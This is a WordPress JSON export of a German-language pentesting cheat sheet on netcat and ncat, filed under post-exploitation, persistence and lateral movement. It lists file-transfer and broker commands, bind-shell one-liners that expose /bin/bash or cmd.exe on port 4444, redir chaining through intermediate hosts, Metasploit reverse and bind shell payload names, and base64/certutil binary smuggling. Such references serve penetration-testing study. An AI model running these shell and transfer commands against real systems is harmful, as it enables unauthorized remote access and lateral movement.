{"id":270,"date":"2019-08-14T13:32:07","date_gmt":"2019-08-14T11:32:07","guid":{"rendered":"https:\/\/privat.andreas-klingler.de\/itsec\/?p=270"},"modified":"2024-06-09T10:00:53","modified_gmt":"2024-06-09T08:00:53","slug":"ncat","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=270","title":{"rendered":"ncat"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Namenskonfusion<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>net\u00adcat = nc<\/strong> can read and write to\/from <span class=\"caps\">TCP<\/span>\/<span class=\"caps\">UDP<\/span> ports.&nbsp;<ul class=\"wp-block-list\">\n<li>Port scan\u00adning<\/li>\n\n\n\n<li>Trans\u00adfer files unencrypted<\/li>\n\n\n\n<li>Ban\u00adner grabbing<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>ncat<\/strong> do the same and more (espe\u00adcial\u00adly&nbsp;<span class=\"caps\">SSL<\/span>)&nbsp;<ul class=\"wp-block-list\">\n<li>All from&nbsp;above<\/li>\n\n\n\n<li>Shells<\/li>\n\n\n\n<li>\u2026<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Datei ausliefern:<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">echo -e \"HTTP\/1.1 200 OK\\nContent-Length: 5\\n\\nHallo\" | nc -l localhost 8000<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Datei anfragen \u00fcber&nbsp;<span class=\"caps\">SSL<\/span>:<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">echo -e \"GET \/ HTTP\/1.1\\nHost: localhost\\n\\n\" | ncat -C --ssl localhost 443<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Gebe Ausgabe von Programm zur\u00fcck:<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">ncat -l localhost 3000 --exec \/bin\/date<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Datei direkt \u00fcbertragen (unverschl\u00fcsselt!):<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">1. Empf\u00e4nger:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">user@host02:~$ ncat -l &gt; aha<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">oder<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -nlvp 4444 &gt; incoming.file<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">2. Sender:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">user@host01:~$ ncat --send-only 10.186.158.2 &lt; g.txt<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">oder<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -nv 192.168.5.1 4444 &lt; \/tmp\/file<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Datei \u00fcber Proxy \u00fcbertragen (unverschl\u00fcsselt!) A\u2011B-C:<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">1. Bro\u00adker starten auf&nbsp;B:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ncat -l --broker<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">2. Empf\u00e4nger starten auf&nbsp;C:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ncat B &gt; ausgabedatei<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">3. Sender sendet von&nbsp;A:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ncat --send-only B &lt; g.txt<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Chat \/ data transfer<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Lauschen auf Host&nbsp;A:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ncat -nlvp 4444<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Verbinden mit Dienst auf anderem Host:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ncat -nv 192.168.5.1 4444\nncat -nv host.tld 110<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Shell<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Shell auf Ziel\u00adrech\u00adn\u00ader binden:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">[Linux] ncat -nlvp 4444 -e \/bin\/bash\n[Windows] ncat.exe --exec cmd.exe -vnl 4444\n[Windows] nc -dLp 4444 -e cmd.exe \/\/ d =&gt; don't quit with enter<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Auf beliebig vie\u00adlen Zwis\u00adchen\u00adrech\u00adn\u00adern mit redir weit\u00ader\u00adleit\u00aden (evtl. geht auch ncat \u2013bro\u00adker)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">redir --lport=5555 --laddr=192.168.5.104 --cport=4444 --caddr=192.168.20.129<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Auf Client die Kon\u00adsole \u00f6ffnen:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ncat -nv 192.168.5.104 5555<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Option\u00adal kann \u2013ssl angegeben werden.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sich\u00ader\u00adstellen, dass nicht ein Paket\u00adfil\u00adter filtert.\u2026<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In Metas\u00adploit: Use the fol\u00adlow\u00ading payloads<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>payload\/windows\/x64\/shell\/reverse_tcp or<\/li>\n\n\n\n<li>payload\/windows\/x64\/shell_bind_tcp<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Zwischenablage<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Auf Lin\u00adux<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">base64 file.exe &gt; file.b64<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Unter Win\u00addows<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">certutil -decode file.b64 file.exe<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">As portscanner<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/andreas-klingler.de\/infosec\/?p=94\" data-type=\"post\" data-id=\"94\">See net\u00adwork and port scan\u00adning&nbsp;post<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Namen\u00adskon\u00adfu\u00adsion Datei aus\u00adliefern: echo \u2011e \u201c<span class=\"caps\">HTTP<\/span>\/1.1 200 <span class=\"caps\">OK<\/span>\\nContent-Length: 5\\n\\nHallo\u201d | nc \u2011l local\u00adhost 8000 Datei anfra\u00adgen \u00fcber&nbsp;<span class=\"caps\">SSL<\/span>: echo \u2011e \u201c<span class=\"caps\">GET<\/span> \/ <span class=\"caps\">HTTP<\/span>\/1.1\\nHost: localhost\\n\\n\u201d | ncat \u2011C \u2013ssl local\u00adhost 443 Gebe Aus\u00adgabe von Pro\u00adgramm zur\u00fcck: ncat \u2011l local\u00adhost 3000 \u2013exec \/bin\/date Datei direkt \u00fcber\u00adtra\u00adgen (unver\u00adschl\u00fcs\u00adselt!): 1. Empf\u00e4nger: user@host02:~$ ncat \u2011l &gt; aha oder nc \u2011nlvp&nbsp;4444&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[470,471,472,473,474,475],"tags":[70,84,82,83,8,69],"class_list":["post-270","post","type-post","status-publish","format-standard","hentry","category-active-enum","category-privesc","category-postexp","category-persistence","category-lateral-movement","category-attack-tool","tag-bash","tag-nc","tag-ncat","tag-netcat","tag-ssl","tag-transfer"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/270","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=270"}],"version-history":[{"count":14,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/270\/revisions"}],"predecessor-version":[{"id":3877,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/270\/revisions\/3877"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=270"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=270"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=270"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}